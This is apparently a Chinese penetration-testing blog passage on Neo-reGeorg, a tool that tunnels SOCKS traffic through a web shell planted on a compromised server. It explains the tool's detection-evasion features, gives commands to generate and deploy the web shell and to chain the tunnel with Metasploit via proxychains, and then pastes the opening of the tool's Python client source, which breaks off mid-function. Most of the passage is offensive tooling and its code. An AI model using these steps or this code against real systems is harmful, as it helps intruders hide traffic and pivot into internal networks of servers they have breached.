在了解Neo-reGeorg之前,首先应该知道大名鼎鼎的项目
https://github.com/sensepost/reGeorg
其用于开启目标服务器到本地的socks通道,可以正向代理,从本机主动访问我们上传的jsp或者aspx解析,从而去搭建正向隧道。
Neo-reGeorg基于该项目重构,将特征进行隐藏,具有较好的免杀效果,可以很好的隐匿流量,项目地址
https://github.com/L-codes/Neo-reGeorg
其具有的特征如下:
传输内容经过变形 base64 加密,伪装成 base64 编码
直接请求响应可定制化 (如伪装的404页面)
HTTP Headers 的指令随机生成,避免特征检测
HTTP Headers 可定制化
自定义 HTTP 响应码
多 URL 随机请求
服务端 DNS 解析
兼容 python2 / python3
服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境
(1)git clone https://github.com/L-codes/Neo-reGeorg
(2)cd Neo-reGeorg
(3)python neoreg.py generate -k password
这里生成jsp,aspx或者php类型的马,放置在目标服务器上即可。这里-k后面为自定义的密码
生成的木马在server文件夹里
针对不同的服务器选择不同的马进行放置即可,在kali端配置本地监听
vi /etc/proxychains4
然后搭通隧道即可。详细步骤不再一一展示,比较简单。重点是,学会和msf进行联动
proxychains4 msfconsole
如何测试代理的联通性?
proxychains4 curl www.google.com
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'L'
__version__ = '3.8.0'
import sys
import os
import re
import base64
import struct
import random
import hashlib
import logging
import argparse
import requests
import uuid
import codecs
from time import sleep, time, mktime
from datetime import datetime
from socket import *
from itertools import chain
from threading import Thread
requests.packages.urllib3.disable_warnings()
ROOT = os.path.dirname(os.path.realpath(__file__))
ispython3 = True if sys.version_info >= (3, 0) else False
# Constants
SOCKTIMEOUT = 5
VER = b"\x05"
METHOD = b"\x00"
SUCCESS = b"\x00"
REFUSED = b"\x05"
#SOCKFAIL = b"\x01"
#NETWORKFAIL = b"\x02"
#HOSTFAIL = b"\x04"
#TTLEXPIRED = b"\x06"
#UNSUPPORTCMD = b"\x07"
#ADDRTYPEUNSPPORT = b"\x08"
#UNASSIGNED = b"\x09"
# Globals
READBUFSIZE = 7
MAXTHERADS = 1000
READINTERVAL = 300
WRITEINTERVAL = 200
PHPTIMEOUT = 0.5
# Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ = "\033[1m"
BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
# CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
LEVEL = [
('ERROR', logging.ERROR),
('WARNING', logging.WARNING),
('INFO', logging.INFO),
('DEBUG', logging.DEBUG),
]
COLORS = {
'WARNING': YELLOW,
'INFO': WHITE,
'DEBUG': BLUE,
'CRITICAL': YELLOW,
'ERROR': RED,
'RED': RED,
'GREEN': GREEN,
'YELLOW': YELLOW,
'BLUE': BLUE,
'MAGENTA': MAGENTA,
'CYAN': CYAN,
'WHITE': WHITE,
}
def formatter_message(message, use_color=True):
if use_color:
message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
else:
message = message.replace("$RESET", "").replace("$BOLD", "")
return message
class ColoredFormatter(logging.Formatter):
def __init__(self, msg, use_color=True):
logging.Formatter.__init__(self, msg)
self.use_color = use_color
def format(self, record):
levelname = record.levelname
if self.use_color and levelname in COLORS:
levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
record.levelname = levelname_color
return logging.Formatter.format(self, record)
class ColoredLogger(logging.Logger):
def __init__(self, name):
use_color = not sys.platform.startswith('win')
FORMAT = "[$BOLD%(levelname)-19s$RESET] %(message)s"
COLOR_FORMAT = formatter_message(FORMAT, use_color)
logging.Logger.__init__(self, name, 'INFO')
if (name == "transfer"):
COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
color_formatter = ColoredFormatter(COLOR_FORMAT, use_color)
console = logging.StreamHandler()
console.setFormatter(color_formatter)
self.addHandler(console)
logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")
class SocksCmdNotImplemented(Exception):
pass
class Rand:
def __init__(self, key):
n = int(hashlib.sha512(key.encode()).hexdigest(), 16)
self.k_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
self.v_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
self.k_clen = len(self.k_clist)
self.v_clen = len(self.v_clist)
random.seed(n)
def header_key(self):
str_len = random.getrandbits(4) + 2 # len 2 to 17
return ''.join([ self.k_clist[random.getrandbits(10) % self.k_clen] for _ in range(str_len) ]).capitalize()
def header_value(self):
str_len = random.getrandbits(6) + 2 # len 2 to 65
return ''.join([ self.v_clist[random.getrandbits(10) % self.v_clen] for _ in range(str_len) ])
def base64_chars(self, charslist):
if sys.version_info >= (3, 2):
newshuffle = random.shuffle
else:
try:
xrange
except NameError:
xrange = range
def newshuffle(x):
def _randbelow(n):
getrandbits = random.getrandbits
k = n.bit_length()
r = getrandbits(k)
while r >= n:
r = getrandbits(k)
return r
for i in xrange(len(x) - 1, 0, -1):
j = _randbelow(i+1)
x[i], x[j] = x[j], x[i]
newshuffle(charslist)
class session(Thread):
def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget):
Thread.__init__(self)
self.pSocket = pSocket
self.connectURLs = connectURLs
self.redirectURLs = redirectURLs
self.conn = conn
self.connect_closed = False
self.session_connected = False
self.fwd_target = FwdTarget
def url_sample(self):
return random.choice(self.connectURLs)
def redirect_url_sample(self):
return random.choice(self.redirectURLs)
def headerupdate(self, headers):
headers.update(HEADERS)
if self.redirectURLs:
headers[K['X-REDIRECTURL']] = self.redirect_url_sample()
def session_mark(self):
mark = base64.b64encode(uuid.uuid4().bytes)[0:-2]
if ispython3:
mark = mark.decode()
mark = mark.replace('+', ' ').replace('/', '_')
mark = re.sub('^[ _]| $', 'L', mark) # Invalid return character or leading space in header
return mark
def parseSocks5(self, sock):
log.debug("SocksVersion5 detected")
nmethods = sock.recv(1)
methods = sock.recv(ord(nmethods))
sock.sendall(VER + METHOD)
ver = sock.recv(1)
if ver == b"\x02": # this is a hack for proxychains
ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
else:
cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
target = None
targetPort = None
if atyp == b"\x01":